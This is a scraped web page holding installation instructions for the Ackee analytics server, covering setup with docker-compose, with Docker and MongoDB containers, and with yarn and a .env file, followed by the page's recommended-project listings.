The README contains a detailed explanation of all available options, but only those two are required to run Ackee with the existing docker-compose.yml.

2. Run Ackee

Run this command in the root of the project to use the predefined docker-compose.yml. It contains everything you need, including MongoDB and Ackee.

docker-compose up

💡 Add the -d flag to the Docker command to run the services in the background.

3. Open Ackee

Ackee will output the URL it's listening on once the server is running. Visit the URL with your browser and complete the finial steps using the interface.

With Docker

1. Setup MongoDB

Ackee requires a running MongoDB instance. The easiest way to install MongoDB is by using Docker. Skip this step if you have MongoDB installed or visit the website of MongoDB for alternative setups.

docker run -p 27017:27017 --name mongo mongo

For persistent storage, mount a host directory to the container directory /data/db, which is identified as a potential mount point in the mongo Dockerfile. When starting a new container, Docker will use the volume of the previous container and copy it to the new container, ensuring that no data gets lost.

docker run -p 27017:27017 -v /path/to/local/folder:/data/db --name mongo mongo

💡 Add the -d flag to the Docker command to run MongoDB in the background.

Explanation:

  • -p makes port 27017 available at port 27017 on the host
  • -v mounts /path/to/local/folder to /data/db of the container
  • --name sets the container name to mongo
  • mongo is the name of the image

2. Run Ackee

docker run -p 3000:3000 -e MONGODB='mongodb://mongo:27017/ackee' -e USERNAME='username' -e PASSWORD='password' --link mongo --name ackee electerious/ackee

💡 Add the -d flag to the Docker command to run Ackee in the background.

Explanation:

  • -p makes port 3000 available at port 3000 on the host
  • -e sets environment variables required by Ackee
  • --link links Ackee with the mongo container
  • --name sets the container name to ackee
  • electerious/ackee is the name of the image

3. Open Ackee

Ackee will output the URL it's listening on once the server is running. Visit the URL with your browser and complete the finial steps using the interface.

Without Docker

1. Setup MongoDB

Ackee requires a running MongoDB instance. Visit the website of MongoDB for installation instructions.

2. Create the configuration

Configure Ackee using environment variables or create a .env file in the root of the project to store all variables in one file.

MONGODB=mongodb://localhost:27017/ackee
USERNAME=username
PASSWORD=password

The README contains a detailed explanation of all available options, but only those three are required to run Ackee.

The MongoDB connection string is used to connect to your MongoDB. It should also contain the username and password of your MongoDB instance when required.

The username and password variables are used to secure your Ackee interface/API.

3. Install Ackee

Install all required dependencies.

yarn

4. Run Ackee

Ackee will output the URL it's listening on once the server is running. Visit the URL with your browser and complete the finial steps using the interface.

yarn start

Go

You can’t perform that action at this time.

set Restriction

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.

navigate_next

close

_close_Close

_open_in_new_Open in new tab

Add Tags ?

articles

blockstack

bookmarks

dapp

github

interesting

learn

music

paste

swedish

AddDeleteNo

close

close

Add Tags ?

AddDeleteNo

close

close

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.